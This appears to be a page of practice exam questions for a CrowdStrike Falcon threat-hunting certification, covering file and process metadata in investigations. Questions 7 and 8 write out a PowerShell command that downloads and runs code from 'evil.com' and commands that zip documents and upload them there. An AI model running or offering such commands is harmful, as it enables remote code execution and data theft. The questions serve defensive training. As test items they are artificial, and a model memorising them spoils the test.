3.1 Analyze and Interpret Metadata Around Files and Processes Recorded by Falcon CCFH Practice Questions (Page 2)

Questions 6–10

1. 6application · medium

   An analyst is reviewing a file alert for 'C:\Users\Public\photo.jpg'. The file's size is 2 MB, and its SHA256 hash is unknown. The file's creation timestamp is 2023-07-01 12:00:00 UTC. A process event shows 'photo.jpg' being executed with a start timestamp of 2023-07-01 12:00:05 UTC. Which metadata field is MOST suspicious in this context?

   • AThe file path (C:\Users\Public)
   • BThe file size (2 MB)
   • CThe creation timestamp (2023-07-01 12:00:00 UTC)
   • DThe file extension (.jpg) being executed as a process
   Reveal Solution Discussion Select an answer first
2. 7application · medium

   An investigator is analyzing a series of events: (1) winword.exe opens a document from an email attachment; (2) a child process cmd.exe is spawned with the command line 'cmd.exe /c whoami'; (3) cmd.exe spawns powershell.exe with the command line 'powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString("http://evil.com/payload")'. Which process metadata field is MOST critical to confirm the execution sequence and establish the attack chain?

   • AThe file path of winword.exe
   • BThe user context of winword.exe
   • CThe parent process ID of powershell.exe
   • DThe SHA256 hash of the downloaded payload
   Reveal Solution Discussion Select an answer first
4. 8expert · hard

   An investigator is correlating file and process metadata to understand a potential data exfiltration. They see the following: (1) A process 'powershell.exe' with the command line 'powershell.exe -c "Compress-Archive -Path C:\Users\Public\*.docx -DestinationPath C:\Users\Public\data.zip"'; (2) A file 'C:\Users\Public\data.zip' is created; (3) A process 'powershell.exe' with the command line 'powershell.exe -c "Invoke-WebRequest -Uri http://evil.com/upload -Method POST -InFile C:\Users\Public\data.zip"'. Which metadata correlation is MOST critical to confirm the exfiltration chain?

   • AThe user context of the powershell.exe processes
   • BThe SHA256 hash of data.zip
   • CThe parent process ID of the second powershell.exe
   • DThe file creation timestamp of data.zip and the start timestamps of the two powershell.exe processes
   Reveal Solution Discussion Select an answer first
5. 9foundation · easy

   In Falcon process metadata, which field shows the exact arguments that were passed to a process when it started?

   • ACommand line
   • BUser context
   • CParent Process ID
   • DProcess ID
   Reveal Solution Discussion Select an answer first
6. 10foundation · easy

   Which process metadata field in Falcon identifies the process that launched the current process?

   • AProcess ID (PID)
   • BParent Process ID (PPID)
   • CUser context
   • DCommand line
   Reveal Solution Discussion Select an answer first